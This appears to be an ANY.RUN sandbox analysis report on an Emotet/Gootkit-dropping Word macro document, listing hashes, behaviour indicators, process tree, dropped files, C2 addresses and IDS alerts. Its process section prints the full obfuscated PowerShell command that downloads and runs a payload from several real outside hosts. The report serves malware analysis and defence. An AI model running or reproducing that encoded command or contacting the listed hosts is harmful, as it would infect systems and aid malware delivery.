analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

bdb00c63e7a50f94e9d416c9cf16ad4b4c1cbaca53558c2f26679450ede68559.doc

Full analysis: https://app.any.run/tasks/d89bc44b-c421-46a2-a993-d71257406191
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: May 15, 2019, 09:29:18
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
trojan
gootkit
loader
emotet
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Tasty Soft Ball platforms, Subject: niches, Author: Carole King, Comments: architect Idaho Licensed Granite Keyboard, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed May 15 08:34:00 2019, Last Saved Time/Date: Wed May 15 08:34:00 2019, Number of Pages: 1, Number of Words: 30, Number of Characters: 172, Security: 0
MD5:

9BAF78389801984A64D2F7540097DB6B

SHA1:

DEBC39B436936E28799E015C3D91BFBDC0C20869

SHA256:

BDB00C63E7A50F94E9D416C9CF16AD4B4C1CBACA53558C2F26679450EDE68559

SSDEEP:

3072:a77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q0PNt4LQRnfiYMMMWr8t6:a77HUUUUUUUUUUUUUUUUUUUT52VZSLQx

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 299.exe (PID: 3584)
      • 299.exe (PID: 2772)
      • soundser.exe (PID: 2292)
      • soundser.exe (PID: 3108)
      • mwkoGf1J5b2O3Ta.exe (PID: 2256)
      • soundser.exe (PID: 3000)
      • soundser.exe (PID: 2276)
      • mwkoGf1J5b2O3Ta.exe (PID: 2756)

    • GOTKIT detected

      • powershell.exe (PID: 2788)
      • 299.exe (PID: 2772)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2788)

    • Emotet process was detected

      • soundser.exe (PID: 2292)
      • soundser.exe (PID: 2276)

    • EMOTET was detected

      • soundser.exe (PID: 3108)
      • soundser.exe (PID: 3000)

    • Connects to CnC server

      • soundser.exe (PID: 3108)
      • soundser.exe (PID: 3000)

    • Changes the autorun value in the registry

      • soundser.exe (PID: 3108)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2788)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2788)
      • 299.exe (PID: 2772)
      • soundser.exe (PID: 3108)
      • mwkoGf1J5b2O3Ta.exe (PID: 2756)

    • Application launched itself

      • 299.exe (PID: 3584)
      • soundser.exe (PID: 2292)

    • Starts itself from another location

      • 299.exe (PID: 2772)
      • mwkoGf1J5b2O3Ta.exe (PID: 2756)

    • Connects to server without host name

      • soundser.exe (PID: 3108)
      • soundser.exe (PID: 3000)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2940)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2940)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Manager: Satterfield
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 201
Paragraphs: 1
Lines: 1
Company: Reynolds - Conn
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 172
Words: 30
Pages: 1
ModifyDate: 2019:05:15 07:34:00
CreateDate: 2019:05:15 07:34:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: architect Idaho Licensed Granite Keyboard
Keywords: -
Author: Carole King
Subject: niches
Title: Tasty Soft Ball platforms
CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
10
Malicious processes
9
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start winword.exe no specs #GOOTKIT powershell.exe 299.exe no specs #GOOTKIT 299.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe mwkogf1j5b2o3ta.exe no specs mwkogf1j5b2o3ta.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe

Process information

PID
CMD
Path
Indicators
Parent process
2940"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\bdb00c63e7a50f94e9d416c9cf16ad4b4c1cbaca53558c2f26679450ede68559.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2788powershell -enc JAB3ADgANQA1ADIAMgBfADkAPQAnAGwAOQBfADUAOQAxADcAMAAnADsAJABBADAAOQA2ADkAOQAgAD0AIAAnADIAOQA5ACcAOwAkAEsANgA0ADgAOAAxADkAMAA9ACcAbwAxAF8AOAAyADcANwAnADsAJAB6ADMAMwA1AF8AOQBfADAAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEAMAA5ADYAOQA5ACsAJwAuAGUAeABlACcAOwAkAFYAMwA1ADEAMgA3AD0AJwBGADkAXwAwADYAMgAyACcAOwAkAE0ANAA3ADgAMQA3AF8ANwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AGUAYABCAGAAYwBMAEkARQBOAFQAOwAkAEQANwAxADUAMwBfADAAPQAnAGgAdAB0AHAAOgAvAC8AZAByAG0AYQByAGkAbgBzAC4AYwBvAG0ALwBlAG4AZwBsAC8AcABDAEEAZABPAEwAVwBMAEoALwBAAGgAdAB0AHAAOgAvAC8AaAB5AGIAcgBpAGQAYgB1AHMAaQBuAGUAcwBzAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALgBhAHUALwBjAGcAaQAtAGIAaQBuAC8AdAA2AHkAZQAwAGoAXwB3AHkAaABmADQAeQB3AC0AMgAvAEAAaAB0AHQAcAA6AC8ALwBkAHUAcgBhAGsAYgB1AGYAZQBjAGUAbgBnAGUAbABrAG8AeQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ARwByAEkAQgBRAFQAbgBvAE8ALwBAAGgAdAB0AHAAOgAvAC8AcABlAHIAZgBvAHIAbQBhAG4AYwBlAHYAaQB0AGEAbABpAHQAeQAuAG4AZQB0AC8AcABhAHIAdABuAGUAcgAvAHIAcQAyAHQAbwB0AHYAXwBiAHIAeQBoAGQAcQBqAGMAMgAtADEANwAzADIAMAAvAEAAaAB0AHQAcAA6AC8ALwB0AG4AcgBrAGUAbgB0AG8AbgBvAGQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgB4AGEAbABqAG4AZQBxAF8AZgA5AHYAYwB3AHYAcwB6ADAAMwAtADAAMQA1ADgANAA1ADUAMQA5AC8AJwAuAFMAUABMAEkAdAAoACcAQAAnACkAOwAkAEUAOQA2ADIAMgAwAD0AJwB6ADgAMQA5ADcANgAnADsAZgBvAHIAZQBhAGMAaAAoACQAawA0ADUANwAwADgANwAgAGkAbgAgACQARAA3ADEANQAzAF8AMAApAHsAdAByAHkAewAkAE0ANAA3ADgAMQA3AF8ANwAuAGQATwBXAG4ATABvAEEARABmAEkATABFACgAJABrADQANQA3ADAAOAA3ACwAIAAkAHoAMwAzADUAXwA5AF8AMAApADsAJABIADMANgAwADUAMwAyADUAPQAnAEYAMAA4ADQAXwAwADAAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJAB6ADMAMwA1AF8AOQBfADAAKQAuAGwAZQBuAEcAVABIACAALQBnAGUAIAAzADkAOAA4ADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAgACQAegAzADMANQBfADkAXwAwADsAJABmADEAMwA0ADgAOQAzADAAPQAnAFoANABfADEANAAwADcAXwAnADsAYgByAGUAYQBrADsAJABmADEAOAA2ADkAOQA3ADgAPQAnAHIANwBfADIAMwAxACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAOABfADQAMwA2AD0AJwB2ADcAXwAxADMAXwA0ADcAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3584"C:\Users\admin\299.exe" C:\Users\admin\299.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Exit code:
0
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
2772--809e8ef0C:\Users\admin\299.exe
299.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Exit code:
0
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
2292"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
299.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Exit code:
0
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
3108--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile ikstaller
Exit code:
0
Version:
7.02.7601.17514 (win7sp1_rtm.101119-1850)
2256"C:\Users\admin\AppData\Local\soundser\mwkoGf1J5b2O3Ta.exe"C:\Users\admin\AppData\Local\soundser\mwkoGf1J5b2O3Ta.exe—soundser.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2756--4954f451C:\Users\admin\AppData\Local\soundser\mwkoGf1J5b2O3Ta.exe
mwkoGf1J5b2O3Ta.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2276"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
mwkoGf1J5b2O3Ta.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3000--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Integrity Level:
MEDIUM
Total events
1 744
Read events
1 259
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
2
Text files
0
Unknown types
15

Dropped files

PID
Process
Filename
Type
2940WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRED6C.tmp.cvr —
MD5:—
SHA256:—
2788powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SCFL6SG1KZDRIM1OKNCC.temp —
MD5:—
SHA256:—
2940WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A566C508.wmfwmf
MD5:B097D53C4CDEE257E2F3AE858E5C3CEF
SHA256:ED4223C7037042E615672F18A64A53E81C918CDCF93499C7C440A4879ECE6AAB
2940WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A0AB35FC.wmfwmf
MD5:41BD76BD6E3DE248416A821E8E6768D3
SHA256:CDC3851365F8839991D661FC6A2DAE3FEB9E033512D3CB0C14D5ABA25A9A6A99
2940WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BA6996A.wmfwmf
MD5:4F001A3B943745583FCA48689ADDDF4D
SHA256:AC2226B4C7FCB074B015F39FED1FC743A32DF9612A2188331BB1427041EBC6A7
2940WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F3F00663.wmfwmf
MD5:75B6355A2091AF9A3DCFB241AFDAFFBD
SHA256:404187D360A41203A6905F1F78AF09622E6D26D6C39D0BCAD551F06951B8C2C7
2940WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\71CC05F.wmfwmf
MD5:BCD8534D945C8E3C10E41A63458BA476
SHA256:D69B7E8DF5EA2A11A78D88E2F93652265CAE74938F1B663C5579A9F484CF8A0C
2940WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$b00c63e7a50f94e9d416c9cf16ad4b4c1cbaca53558c2f26679450ede68559.docpgc
MD5:9EED8FABB820CF284079D5434595D8AF
SHA256:4D1E9B18BFF6F56E048D9918A5E5D781572BBE390C46F0C72A6BA1562BE80DCA
2940WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A5D025CD.wmfwmf
MD5:DA4202495383B0A8BD85EB9F9289FB1E
SHA256:D43DB9931C29CF32DFC7691DA480C280B0138C93FDB9B8D0D5FC2B91FB992EDA
2788powershell.exeC:\Users\admin\299.exeexecutable
MD5:82BF7938B24C2C1476ED1AE0BF6E583C
SHA256:53A127FDC57F3C39B0FECA98C5B64919C28980D450FD701F3C839776B411B128
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3108
soundser.exe
POST
—
200.85.46.122:80
http://200.85.46.122/rtm/
PY
—
—
malicious
2788
powershell.exe
GET
200
13.76.250.225:80
http://drmarins.com/engl/pCAdOLWLJ/
SG
executable
118 Kb
malicious
3000
soundser.exe
POST
—
200.85.46.122:80
http://200.85.46.122/srvc/scripts/ringin/
PY
—
—
malicious
3108
soundser.exe
POST
200
134.196.53.52:7080
http://134.196.53.52:7080/tpt/health/ringin/merge/
TH
binary
65.8 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3108
soundser.exe
134.196.53.52:7080
—
True Internet Co.,Ltd.
TH
malicious
3108
soundser.exe
200.85.46.122:80
—
Telecel S.A.
PY
malicious
3000
soundser.exe
200.85.46.122:80
—
Telecel S.A.
PY
malicious
2788
powershell.exe
13.76.250.225:80
drmarins.com
Microsoft Corporation
SG
suspicious

DNS requests

Domain
IP
Reputation
drmarins.com
  • 13.76.250.225
malicious

Threats

PID
Process
Class
Message
2788
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2788
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2788
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3108
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3108
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3000
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
8 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
bdb00c63e7a50f94e9d416c9cf16ad4b4c1cbaca53558c2f26679450ede68559.doc